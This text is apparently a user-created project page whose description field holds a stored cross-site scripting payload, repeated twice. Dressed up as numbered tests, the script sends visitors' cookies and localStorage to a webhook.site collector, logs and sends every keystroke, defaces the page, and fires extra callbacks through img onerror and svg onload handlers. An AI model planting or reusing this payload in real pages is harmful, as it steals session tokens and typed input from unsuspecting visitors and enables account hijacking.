<div id="xss-test"> <script> // Test 1: Basic alert console.log('XSS-EXECUTED'); // Test 2: Cookie theft fetch('https://webhook.site/1c92926b-4e9b-41dc-a335-f24fa11e0eaa?action=cookie&data='+document.cookie); // Test 3: Session hijacking fetch('https://webhook.site/1c92926b-4e9b-41dc-a335-f24fa11e0eaa?action=localStorage&data='+JSON.stringify(localStorage)); // Test 4: Keylogger document.addEventListener('keypress', function(e) { fetch('https://webhook.site/1c92926b-4e9b-41dc-a335-f24fa11e0eaa?action=keylog&data='+e.key); }); // Test 5: DOM manipulation document.body.innerHTML = '<h1>HACKED BY XSS</h1>' + document.body.innerHTML; // Test 6: Redirect // window.location = 'https://webhook.site/1c92926b-4e9b-41dc-a335-f24fa11e0eaa?action=redirect'; </script> <img src=x onerror="fetch('https://webhook.site/1c92926b-4e9b-41dc-a335-f24fa11e0eaa?action=img-error')"> <svg onload="fetch('https://webhook.site/1c92926b-4e9b-41dc-a335-f24fa11e0eaa?action=svg-load')"> </div>
by simscalesimscale
Bakatar created this project
<div id="xss-test"> <script> // Test 1: Basic alert console.log('XSS-EXECUTED'); // Test 2: Cookie theft fetch('https://webhook.site/1c92926b-4e9b-41dc-a335-f24fa11e0eaa?action=cookie&data='+document.cookie); // Test 3: Session hijacking fetch('https://webhook.site/1c92926b-4e9b-41dc-a335-f24fa11e0eaa?action=localStorage&data='+JSON.stringify(localStorage)); // Test 4: Keylogger document.addEventListener('keypress', function(e) { fetch('https://webhook.site/1c92926b-4e9b-41dc-a335-f24fa11e0eaa?action=keylog&data='+e.key); }); // Test 5: DOM manipulation document.body.innerHTML = '<h1>HACKED BY XSS</h1>' + document.body.innerHTML; // Test 6: Redirect // window.location = 'https://webhook.site/1c92926b-4e9b-41dc-a335-f24fa11e0eaa?action=redirect'; </script> <img src=x onerror="fetch('https://webhook.site/1c92926b-4e9b-41dc-a335-f24fa11e0eaa?action=img-error')"> <svg onload="fetch('https://webhook.site/1c92926b-4e9b-41dc-a335-f24fa11e0eaa?action=svg-load')"> </div>